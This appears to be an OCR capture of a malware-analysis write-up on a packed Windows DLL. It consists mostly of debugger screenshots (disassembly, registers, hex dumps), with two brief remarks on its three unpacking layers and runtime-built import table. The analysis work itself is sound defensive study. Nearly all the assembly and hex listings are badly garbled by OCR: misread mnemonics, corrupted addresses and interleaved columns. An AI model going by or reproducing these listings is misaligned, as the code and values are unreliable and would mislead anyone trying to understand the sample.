EN LL 100E0027 mov 100E002D mov5x 100E0035 add 100E0038 mov 100E0038 mov	eax, [ebp+var_1E4]         160E 6073 mov         edx, [ebp+lpAddi           ecx, [ebp+var_1E4]         160E 6074 push         edx           ecx, [at 160E 6077 push         edx         edx           edx, [ebp+var_184]         160E 6076 push         eds           [ebp+edx+var_286]         160E 6076 mov         eax, [ebp+var_30           [ebp+edx+var_286]         160E 6086 movzx         ecx, [ebp+var_31           160E 6086 movzx         edx, [ebp+var_164         160E 6086 movzx           160E 6086 movzx         edx, [ebp+var_164           160E 6089 push         ecx         ecx           160E 6089 novzx         edx, [ebp+var_164           160E 6089 novzx         edx         ebp+var_164           160E 6097 add         esp_144         esp_144	ss] int uBytes J int J int j int	100E0431 push eax 100E0432 lea ecx, [ebp+var_380] 100E0432 lea ecx, [ebp+var_380] 100E0439 call sub_1000C9E0 100E043E add esp, 10h 100E0441 nov eax, [ebp+var_388] 100E044D push 0 100E044D push 0 100E044D push 1 100E044F push 1 100E044F push 1 100E044F push 1 100E045T call eax 100E0457 push [ebp+lpAddress] 100E0457 push [ebp+var_388], 0 100E0463 push loc_100E0474

This dll has 3 layers of unpacking. The one above is level one, below iyou can see level two. We can see the passing of the control to the newly unpacked .dll @CALL EAX.

C File View Debug Plugins Options Window Help									
7FF7FB8F	~ EB 66	JMP SHORT 7FF7FBF7	Registers (FPU)	<	<				
7FF7FB91 7FF7FB97	8875 64F7FFFF 52	MOV EDX, DWORD FIR 55:LEBP-6901 PUSH FDX	EAX 7FF44E13						
7FF7FB98	Ĕ8 93010000	CALL 7FF7FD30	ECX 00000000 FDX 00000000						
7FF7FB9D	83C4 04	ADD_ESP,4	EBX 7FF70000						
7FF7FBA0	8500	TEST EAX, EAX	ESP 0007CCE0						
7FF7FBHZ	~ 75 40 68 00800000	UNA SHUKI 7FF7FBU4	EBP 0007D390						
7FF7FBA9	6A 00	PUSH Ø	ESI 00000001						
7FF7FBAB	8B85 64F9FFFF	MOU EAX, DWORD PTR SS:[EBP-69C]	EDI 0000000						
7FF7FBB1	50 PD15 14002002	PUSH EAX	EIP <b>7FF7FBF5</b>						
7FF7FBB2	C785 64F9FFFF 0000000	MOIL DWORD PTR DS:[/FF90014]	C Ø ES 0023 32bit Ø(FFFFFFF)						
7FF7FBC2	~ EB 33	JMP SHORT 7FF7FBF7	P Ø GS ØØ1B 32bit Ø(FFFFFFFF) A Ø GS ØØ22 22bit Ø(EPEPEPEP)						
7FF7FBC4	68 F800000	PUSH_0F8	Z A DS A023 32bit A(FFFFFFF)						
7FF7FBC9	8B8D 64FEFFFF	MOU ECX, DWORD PTR SS:[EBP-19C]	S 0 FS 003B 32bit 7FFDF000(FFF)						
7FF7FBCF	51 8D95 68F9FFFF	LEA EDX DUORD PTR SS: [ERP-698]	T 0 GS 0000 NULL						
7FF7FBD6	52	PUSH EDX	D 0 LastEnn EPROP SUCCESS (0000000)						
7FF7FBD7	E8_240A0000	CALL 7FF80600	V B LASTEFF ENNON_SUGESS (BODDBODD)						
7FF7FBDC	83C4 ØC	ADD ESP, OC	EFL 00000202 (NU,NB,NE,H,NS,PU,GE,G)						
7FF7FBDF 7FF7FBF5	8685 70F7FFFF 0385 64F9FFFF	ADD FAX DWORD PTR SS: [FBP-69C]	STO empty 0.4000519573324871160e-4933						
7FF7FBEB	6A 00	PUSH Ø	ST1 empty -/// FFFF 7C910208 7C90E900 ST2 empty -UNORM ERO0 7C9101RB 7C91017B						
7FF7FBED	6A 01	PUSH 1	ST3 empty -UNORM E7C4 0185E80C C0000034						
7FF7FBEF	FFB5 64F9FFFF	PUSH DWORD PTR SS:[EBP-69C]	ST4 empty +UNORM 0010 0185E7B4 00000018						
7FF7FBF5	8885 64F9FFFF	HOU FAX DUDRD PTR SS: [FRP-69C]	ST5 empty 0.0						
7FF7FBFD	8B4D FC	MOU ECX, DWORD PTR SS: [EBP-4]	SIb empty 0.0 STD empty 5 7265722074791921720						
7FF7FC00	33CD	XOR ECX, EBP	3 2 1 0 E S P U O Z	DI					
7FF7FC02	E8 5A0D0000	CALL 7FF80961	FST 0100 Cond 0 0 0 1 Err 0 0 0 0 0	00	(LT)				
ZEEZEC09	5D	POP ERP	FCW 027F Prec NEAR,53 Mask 1 1 1 1	1 1					
7FF7FCØA	C2 0400	RETN 4							
7FF7FCØD	CC	INT3							
7FF7FC0E 7FF7FC0E		INI3 INT2							
7FF7FC10	55	PUSH EBP							
7FF7FC11	8BEC	MOU EBP, ESP							
7FF7FC13	83EC 20	SUB ESP, 20	1						
< III	XRAS MX								
Hddress			- 0007CCE4 0000001						
7FF30000	110 3H 70 00 03 00 00 00 04 09 09		0007CCE8 0000000						
7FF30020	00 00 00 00 00 00 00 00 00		0007CCEC 00000004						
7FF30030	00 00 00 00 00 00 00 00 00	00 00 00 E8 00 00 00	000700F0 000A1000						
7FF30040	UE 1F BA UE UU B4 U9 CD 21	B8 01 4C CD 21 54 68 DV []	0007CCF8 00004550						
7FF30060	74 20 62 65 20 72 75 6F 20	69 6E 20 44 4F 53 20 t be run in DOS	0007CCFC 0004014C						
7FF30070	6D 6F 64 65 2E 0D 0D 0A 24	00 00 00 00 00 00 00 mode\$	0007CD00 471D961E						
7FF30080	9F 35 73 9D DB 54 1D CE DE	54 1D CE DB 54 1D CE 55s¥ T+# T+# T+#	00070004 0000000						
7FF30090	B4 22 83 CE CD 54 1D CE B4	ZZ = B7 = CE = 47 = 54 = 10 = CE = 10 = T = 10 = T = 11 = 10 = T = 1	0007CD0C 210200E0						
7FF300B0	B4 22 B6 CE EF 54 1D CE B4	22 86 CE DA 54 1D CE 1 11:01 12:11 14:1	0007CD10 000A010B						
7FF300C0	B4 22 80 CE DA 54 1D CE 52	69 63 68 DB 54 1D CE - "CirrT+"Rich T+"	0007CD14 00026C00						
7FF300D0	00 00 00 00 00 00 00 00 00		0007GD18 0000B400						
7FF300E0		45 UU UU 4C 01 04 00PEL9.	0007CD20 00014F13						

It's very time-consuming to understand the functionality of the dll as it decrypts and builds its own runtime import table to hinder the analysis. Analyst cannot directly see which API gets called.

7FF44E75	FF15 6880F57F	CALL DWORD PTR DS: [7FF58068]		
7FF44E7B	8BF8	MOV EDI, EAX		
7FF44E7D	85FF	TEST EDI, EDI		
7FF44E7F 7FF44E91	✓ 75 5E 2905 200FFF57F	ONA SHUKI 7FF44EDF CMP DUORD PTP DS-F7PP5CP3C1 Fox		
7FF44E87	74 40	JE SHORT 7FF44EC9		
7FF44E89	56	PUSH ESI		
7FF44E8A	E8 9C240000	CALL 7FF4732B		
7FF44E8F	59	POP ECX	7FF7FBF7	
7FF44E90	8500 74 1 D	IESI EHX, EHX		
7FF44E94	83FE E0	CMP_ESL20		
7FF44E97	^ 76 CB	JBE SHORT 7FF44E64		
7FF44E99	56	PUSH ESI		
7FF44E9A	E8 8C240000	CALL 7FF4732B	annonna a	
7FF44E9F	57 EQ 2E100000		7FF7FBF7	
7FF44E40	C700 0C00000	MOU DUORD PTR DS: [FAX ]_0C	API Call 📃	
7FF44EAB	3300	XOR EAX, EAX		
7FF44EAD	5F	POP EDI	7FF7FBF7	
7FF44EAE	5E	POP ESI	7FF7FBF7	
7FF44EAF	5D C2	POP EBP	7FF7FBF7	
7FF44EB0 7FF44FR1	СЗ F8 2D160000	COLL 2FF468F3		
7FF44EB6	8BF0	MOU ESI FAX		
7FF44EB8	FF15 4C81F57F	CALL DWORD PTR DS:[7FF5814C]		
7FF44EBE	50	PUSH EAX		
7FF44EBF	E8 DD190000	CALL 7FF468A1	PERFERENCE	
7FF44EC4 7FF44EC5	57 8906	MOUL DUORD PTR DS: [FS1] FAX	/FF/FBF/	
7FF44EC7	^ EB E2	JMP SHORT 7FF44EAB		
7FF44EC9	Ē8 151A0000	CALL 7FF468E3		
7FF44ECE	8BF0	MOU ESI, EAX		
7FF44ED0	FF15 4C81F57F	CALL DWORD PTR DS: [7FF5814C]		
TERAAEDC	L 14			
7FF44ED6 7FF44FD7	50 F8 C5190000	PUSH EAX CALL ZEE46801		
7FF44ED6 7FF44ED7 7FF44EDC	50 E8 C5190000 59	PUSH EAX CALL 7FF468A1 POP ECX	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD	50 E8 C5190000 59 8906	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF	50 E8 C5190000 59 8906 8BC7	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44EDF 7FF44EE1 7FF44EE1	50 E8 C5190000 59 8906 8BC7 ^ EB CA 9BE	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORI 7FF44EAD MOU EDI EDI	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EE1 7FF44EF3	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT 7FF44EAD MOU EDI EDI	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDD 7FF44EE1 7FF44EE1	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT 7FF44EAD MOU EDI EDI	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EDF 7FF44EE1 7FF44EE3	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF Hex dump	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT 7FF44EAD MOU EDI EDI ASCII	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44EDF 7FF44EDF 7FF44EE1 7FF44EE1 7FF44EE3	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF Hex dump 00 00 00 00 00 00 00 00 00 B9 Hex dump	PUSH EAX CALL 7FF468A1 POP ECX MOU DWORD PTR DS:[ESI],EAX MOU EAX,EDI JMP SHORT 7FF44EAD MOU EDI EDI POP COM 77 BA 7F DD 77 ASCII	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EDF 7FF44EE1 7FF44EE3 <b>Address</b> 7FF57FF8 7FF57FF8 7FF58018	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF Hex dump 00 00 00 00 00 00 00 00 00 B9 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 50 13 91 7C 60	PUSH EAX           CALL         ?FF468A1           POP ECX           MOU DWORD PTR DS:[ESI],EAX           MOU EAX,EDI           JMP SHORT ?FF44EAD           MOU EDI EDI           MOU EDI EDI           97C DD 77 BA 7F DD 77           900 00 00 7B 99 80 7C           10 90 7C 01 10 99 80 7C           10 90 7C 01 10 90 7C	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44EDF 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF54028 7FF58018 7FF58018 7FF58018	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8PFF 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C 60 81 9F 80 7C 5A 13 91 7C 74	PUSH EAX           CALL         ?FF468A1           POP ECX           MOU DWORD PTR DS:[ESI],EAX           MOU EAX,EDI           JMP SHORT ?FF44EAD           MOU EDI EDI           MOU EDI EDI           97C DD 77 BA ?F DD ??           00 00 00 7B 99 80 ?C           10 90 ?C 00 10 90 ?C           10 90 ?C 00 10 90 ?C           98 80 ?C 75 FA 80 ?C	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF54028 7FF58018 7FF58018 7FF58028 7FF58038	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8RFF 00 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C 60 81 9F 80 7C 5A 13 91 7C 74 84 F1 80 7C 65 B4 80 7C CI	PUSH EAX           CALL         ?FF468A1           POP ECX           MOU DWORD PTR DS:[ESI],EAX           MOU EAX,EDI           JMP SHORT ?FF44EAD           MOU EDI EDI           MOU EDI EDI           900 00 00 78 99 80 7C           10 90 7C 00 10 90 7C           UTC II 90 7C 00 10 90 7C           UTC II 90 7C 5 FA 80 7C           JBF 80 7C 75 FA 80 7C           ASC [LiCt+]_[LiCt+]	7FF7FBF7	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF54028 7FF58028 7FF58028 7FF58028 7FF58028 7FF58028	50 E8 C5190000 59 8906 8BC7 ^ EB CA 9RFF 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 7C 64 A8 7C E1 9A 80 7C 7C 7C 64 A8 7C E1 9A 80 7C 7C 7C 64 A8 7C E1 9A 80 7C 7C 7C 65 B4 80 7C 65 FC 7C 7C 7C 7C 7C 7C 7C 7C 7	PUSH EAX           CALL         ?FF468A1           POP ECX           MOU DWORD PTR DS:[ESI],EAX           MOU EAX,EDI           JMP SHORT ?FF44EAD           MOU EDT EDT           MOU EDT FDT           900 00 00 78 99 80 7C           10 90 7C 00 10 90 7C           10 90 7C 00 10 90 7C           10 90 7C 00 10 90 7C           BF 80 7C 75 FA 80 7C           ASCI I           ASCI I	7FF7FBF7           3007CCDC         7FF7FBF7           0007CCE0         7FF30000           0007CCE4         0000001           0007CCE8         0000000           0007CCEC         0000004           0007CCF4         7FF30000           0007CCF4         7FF30000           0007CCF8         0000004           0007CCF8         0000004           0007CCF8         0000005	
7FF44ED6 7FF44ED7 7FF44EDD 7FF44EDD 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF44ED7 7FF54028 7FF58028 7FF58028 7FF58028 7FF58028 7FF58028 7FF58028 7FF58028	50 E8 C5190000 59 8906 8BC7 • EB CA 9REF <b>Hex dump</b> 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 7C 44 F1 80 7C 65 B4 80 7C CI B7 16 83 7C 6E 2B 81 7C 01 A4 00 91 7C B8 97 80 7C 05 50 01 7C 46 20 81 7C 65	POSH EAX         CALL ?FF468A1         POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EX,EDI <th col<="" td=""><td><b>7FF7FBF7 3007CCDC 7FF7FBF7 8007CCE0 7FF30000 9007CCE4 9000000 9007CCE8 9000000 9007CCE6 9000000 9007CCE7 9000000 9007CCE8 9000000 9007CCF0 900A1DD0 9007CCF8 90004550 9007CCF7 9004550 9007CCF6 90044014C</b></td></th>	<td><b>7FF7FBF7 3007CCDC 7FF7FBF7 8007CCE0 7FF30000 9007CCE4 9000000 9007CCE8 9000000 9007CCE6 9000000 9007CCE7 9000000 9007CCE8 9000000 9007CCF0 900A1DD0 9007CCF8 90004550 9007CCF7 9004550 9007CCF6 90044014C</b></td>	<b>7FF7FBF7 3007CCDC 7FF7FBF7 8007CCE0 7FF30000 9007CCE4 9000000 9007CCE8 9000000 9007CCE6 9000000 9007CCE7 9000000 9007CCE8 9000000 9007CCF0 900A1DD0 9007CCF8 90004550 9007CCF7 9004550 9007CCF6 90044014C</b>
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDD 7FF44ED1 7FF44EE1 7FF544EE1 <b>Address</b> 7FF57F8 7FF58028 7FF58028 7FF58038 7FF58038 7FF58038 7FF58038 7FF58048 7FF58048 7FF58068	50 E8 C5190000 59 8906 8BC7 ^ EB CA 9REF Hex dump 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 7C 84 F1 80 7C 65 B4 80 7C 7C B7 16 83 7C 6E 2B 81 7C 01 A4 00 91 7C B8 97 80 7C 05 80 9B 91 7C 46 2C 81 7C 85 80 9B 91 7C 14 1E 80 7C 85	POSH EAX         CALL       ?FF46881         POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         B 80 7C A0 9F 80 7C         A 91 7C AD 2F 81 7C         A 72 A3 A91 7C A3 A92 7C      <	<b>7FF7FBF7 395%CCDC 7FF7FBF7 800</b> %CCE0 <b>7FF30000</b> 0007CCE4         0000001           0007CCE8         00000001           0007CCF0         00011DD0           0007CCF4         7FF30000           0007CCF8         00040150           0007CCF8         0004550           0007CCFC         0004014C           0007CCF0         471D961E	
<ul> <li>?FF44EDC</li> <li>?FF44EDC</li> <li>?FF44EDC</li> <li>?FF44EDF</li> <li>?FF44EDF</li> <li>?FF44EE1</li> <li><b>Address</b> </li> <li><b>?FF5</b>?FF8     <li><b>?FF5</b>?FF8</li> <li><b>?FF5</b>8038</li> <li>?FF58038</li> <li>?FF58038</li> <li>?FF58048</li> <li><b>?FF58058</b></li> <li><b>?FF58068</b></li> <li><b>?FF58078</b></li> <li><b>?FF58078</b></li> <li><b>?FF58078</b></li> </li></ul>	50 E8 C5190000 59 8906 8BC7 ^ EB CA SEFT Hex dump 00 00 00 00 00 00 00 00 00 89 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 74 84 F1 80 7C 65 B4 80 7C 74 84 F1 80 7C 65 B4 80 7C 75 80 9B 91 7C 88 97 80 7C 95 80 9B 91 7C 46 2C 81 7C 88 BH AF 80 7C 1A 1E 80 7C 38 BH AF 80 7C 1A 1E 80 7C 38	POSH EAX         CALL       ?FF46881         POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         JMP SHORT ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI <td><b>7FF7FBF7 395%CCDC 7FF7FBF7 800</b>7CCE0         <b>7FF30000</b>           0007CCE4         0000001           0007CCE8         0000000           0007CCF0         00011D0           0007CCF4         7FF30000           0007CCF8         0004550           0007CCF8         0004550           0007CCF0         471D961E           0007CD00         471D961E</td>	<b>7FF7FBF7 395%CCDC 7FF7FBF7 800</b> 7CCE0 <b>7FF30000</b> 0007CCE4         0000001           0007CCE8         0000000           0007CCF0         00011D0           0007CCF4         7FF30000           0007CCF8         0004550           0007CCF8         0004550           0007CCF0         471D961E           0007CD00         471D961E	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDF 7FF44EE1 <b>Address</b> 7FF57FF8 7FF58008 7FF58008 7FF58048 7FF58048 7FF58048 7FF58048 7FF58088 7FF58088 7FF58088 7FF58088	50 E8 C5190000 59 8906 8BC7 ^ EB CA SEFT Hex dump 00 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C CI B7 16 83 7C 65 B4 80 7C CI A4 00 91 7C B8 97 80 7C 05 80 9B 91 7C 46 2C 81 7C 88 BH HE 80 7C 1A 1E 80 7C 36 FD 49 84 7C 23 31 81 7C 36 FD 49 84 7C 17 0E 81 7C 05	POSH EAX CALL       ?FF46881 POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI JMP SHORT ?FF44EAD         MOU EAX,EDI JMP SHORT ?FF44EAD         MOU EAX,EDI JMOU ENT FDT         97C DD ?? BA ?F DD ??         00 00 00 7B 99 80 ?C         MI [w2:] w C0C         10 90 ?C 00 10 90 ?C         10 90 ?C A0 10 90 ?C         10 90 ?C A0 9F 80 ?C         AC C A0 9F 80 ?C         ASCII         ************************************	7FF7FBF7           3057CCDC         7FF7FBF7         RET           0007CCE0         7FF30000         0007CCE4         0000001           0007CCE4         0000000         0007CCE4         0000004         0007CCE4           0007CCF0         00DA1DD0         0007CCF4         7FF30000         0007CCF4         00004         0007CCF4         00004         0007CCF4         0004014C         0007CCF4         0004014C         0007CCF0         004014C         0007CCF0         004014C         0007CD04         0007CD04         0000000         0007CD04         0000000         0007CD04         00000000         0007CD04         00000000	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDL 7FF44EDF 7FF44EDF 7FF44EDF 7FF544EG3 <b>Address</b> 7FF57F8 7FF58008 7FF58008 7FF58048 7FF58048 7FF58048 7FF58088 7FF58088 7FF58088 7FF58088	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8BFF 00 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 01 B7 16 83 7C 65 B4 80 7C 01 A4 00 91 7C B8 97 80 7C 05 80 9B 91 7C 46 2C 81 7C 88 BA AE 80 7C 1A 1E 80 7C 85 FD 49 84 7C 23 31 81 7C 35 FA CA 81 7C 17 0E 81 7C 65 2F 2E 81 7C D0 97 80 7C 55 2F 2E 81 7C D0 97 80 7C 55 30 7C 55 3	POSH EAX CALL       ?FF468A1 POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI JMP SHORI ?FF44EAD         MOU EAX,EDI         JMP SHORI ?FF44EAD         MOII EDI EDI         P 7C DD 77 BA 7F DD 77         00 00 00 7B 99 80 7C         MI [w2] wC0C         10 90 7C 00 10 90 7C         uifCIZ!!ælckeiei         9B 80 7C 75 FA 80 7C         d2 60 7C 69 9F 80 7C         d2 61 90 7C 00 10 90 7C         uifC 12!!ælckei	<b>7FF7FBF7 5097CCDC 7FF7FBF7 0007CCE0 7FF7BF7 RET 0007CCE4 0000001 0007CCE4 0000001 0007CCE5 0000004 0007CCF4 000004 0007CCF4 7FF30000 0007CCF4 0004014C 0007CCF5 0004550 0007CCF6 0004014C 0007CD00 471D961E 0007CD04 0000000 0007CD04 0000000 0007CD04 0000000 0007CD05 210200E0 0007CD06 000000 0007CD06 210200E0 0007CD06 000000</b>	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDL 7FF44EDF 7FF44EDF 7FF44EDF 7FF544EG3 <b>Address</b> 7FF57FF8 7FF58008 7FF58048 7FF58048 7FF58048 7FF58048 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088	50 F8 C5190000 59 8906 8BC7 ^ EB CA 8BFF 00 00 00 00 00 00 00 00 00 00 4D 49 DE 77 A8 7C DD 77 00 81 9F 80 7C 5A 13 91 7C E0 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 01 B7 16 83 7C 65 B4 80 7C 01 B7 16 83 7C 6E 2B 81 7C 01 B7 16 83 7C 6E 2B 81 7C 02 84 99 91 7C 46 2C 81 7C 88 BA AE 80 7C 1A 1E 80 7C 85 FD 49 84 7C 13 31 81 7C 55 FD 49 84 7C 17 0E 81 7C 55 FA CA 81 7C 17 06 81 7C 55 F6 97 80 7C 98 C1 80 7C 55 F6 97 80 7C 98 C1 80 7C 65 F6 97 80 7C 98 7C 98 C1 80 7C 65 F6 97 80 7C 98	POSH EAX CALL       ?FF46881 POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI JMP SHORI ?FF44EAD         MOU EAX,EDI         JMP SHORI ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         98 80 ?C OD 27 BA ?F DD ??         MI [wć:] wCOC         BF 80 ?C A0 9F 80 ?C         MI [wć:] wCOC         BF 81 ?C A5 AB 92 ?C         C¢æ:F, ü:êxûi N½€!         ME 80 ?C CD E4 80 ?C         AF 80 ?C CD E4 80 ?C         YE 81 ?C DF 33 91 ?C '-````````````````````````````````````	<b>7FF7FBF7 5007CCDC 7FF7FBF7 RET</b> 0007CCE0         7FF30000         0007CCE4         0000001           0007CCE4         0000004         0007CCE4         0000004           0007CCF6         00DA1DD0         0007CCF4         7FF30000           0007CCF4         7FF30000         0007CCF4         000004           0007CCF5         0004014C         0007CD00         471D961E           0007CD04         0000000         0007CD04         0000000           0007CD05         21020000         0007CD04         0000000           0007CD14         0000200         0007CD04         000000           0007CD14         00002000         0007CD14         0000200	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDD 7FF44EDF 7FF44EDF 7FF44EDF 7FF544ES3 <b>Address</b> 7FF57FF8 7FF58008 7FF58008 7FF58048 7FF58048 7FF58048 7FF58048 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088 7FF58088	50 F8 C5190000 59 8906 8BC7 ^ EB CA 8BFF 00 00 00 00 00 00 00 00 00 00 Hex dump 00 00 00 00 00 00 00 00 00 00 81 9F 80 7C 5A 13 91 7C 50 81 9F 80 7C 5A 13 91 7C 50 84 48 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 01 B7 16 83 7C 65 B4 80 7C 01 B7 16 83 7C 66 2B 81 7C 01 B7 16 83 7C 66 2B 81 7C 05 80 9B 91 7C 46 2C 81 7C 88 BA AE 80 7C 1A 1E 80 7C 85 FD 49 84 7C 23 31 81 7C 39 FA CA 81 7C 17 06 81 7C 35 FA 6A 81 7C 17 06 81 7C 35 F6 97 80 7C 98 C1 80 7C 64 27 CD 80 7C 89 B8 80 7C 64 27 CD 80 7C 89 B8 80 7C 64 5F B5 80 7C 72 48 81 7C 55 F6 97 80 7C 72 48 81 7C 55 F6 97 80 7C 72 48 81 7C 54 FF 55 85 80 7C 72 48 81 7C 54 FF 55 85 80 7C 72 88 81 7C 54 FF 55 85 80 7C 72 88 75 FF 55 85 75	POSH EAX CALL       ?FF46881 POP ECX         MOU DWORD PTR DS:[ESI],EAX         MOU EAX,EDI JMP SHORI ?FF44EAD         MOU EAX,EDI         JMP SHORI ?FF44EAD         MOU EAX,EDI         MOU EAX,EDI         MOU EAX,EDI         90 00 00 07 B 99 80 7C         If if image in the	<b>7FF7FBF7 5007CCDC 7FF7FBF7 0007CCE0 7FF7BF7 0007CCE4 0007CCE4 0007CCE4 0007CCE4 0007CCE5 0007CCF6 0007CCF6 0007CCF6 0007CCF7 0007CCF8 0007CCF6 0007CCF6 0007CCF7 0007CCF6 0007CD0 0007CD1 00007CD1 0007CD1 0007CD1 0007CD1 0007CD1 0007CD1 0007CD1 0007CD1 0007CD1</b>	
7FF44EDC 7FF44EDC 7FF44EDC 7FF44EDL 7FF44EDF 7FF44EDF 7FF44EDF 7FF544E23 <b>Address</b> 7FF57FF8 7FF58008 7FF58018 7FF58018 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808 7FF5808	50 E8 C5190000 59 8906 8BC7 ^ EB CA 8BFF 00 00 00 00 00 00 00 00 00 00 Hex dump 00 00 00 00 00 00 00 00 00 81 9F 80 7C 5A 13 91 7C 50 81 9F 80 7C 5A 13 91 7C 50 84 9F 80 7C 5A 13 91 7C 50 84 9F 80 7C 5A 13 91 7C 50 64 A8 80 7C E1 9A 80 7C 74 84 F1 80 7C 65 B4 80 7C 05 80 9B 91 7C 88 97 80 7C 05 80 9B 91 7C 46 2C 81 7C 88 8H HE 80 7C 1A 1E 80 7C 85 FD 49 84 7C 23 31 81 7C 30 FD 49 84 7C 23 31 81 7C 30 FA 6A 81 7C 17 0E 81 7C 65 2F 2E 81 7C D0 97 80 7C 55 F6 97 80 7C 98 61 80 7C 64 27 CD 80 7C 98 61 80 7C 64 27 CD 80 7C 77 4B 81 7C 64 5F B5 80 7C 77 4B 81 7C 64 87 A4 80 7C 2E 93 80 7C 64 80 7C 2E 93 80 7C 64 81 7C 64 81 7C 64 80 7C 65 80 7C 77 4B 81 7C 64 81 7C 64 81 7C 64 80 7C 65 80 7C 77 4B 81 7C 64 81 7C 64 81 7C 64 81 7C 64 81 7C 64 81 7C 64 81 7C 65 81 7C 65 81 7C 65 81 80 7C 65 81 7C	POSH EAX         CALL 7PF468A1         POP ECX         MOU DWORD PTR DS: [ESI], EAX         MOU DWORD PTR DS: [ESI], EAX         MOU DWORD PTR DS: [ESI], EAX         MOU EAX, EDI         JMP SHORI 7FF44EAD         MOU DYOR 00 00 7B 99 80 7C         MI W// W COC         O 00 00 7B 99 80 7C         MI W// W COC         10 90 7C 00 10 90 7C         UIFC IZ!!æice/E I EI         9 80 7C 75 FA 80 7C         BF 80 7C A0 9F 80 7C         BF 80 7C A0 9F 80 7C         MOU DY 7C BA 7C A0 9F 80 7C         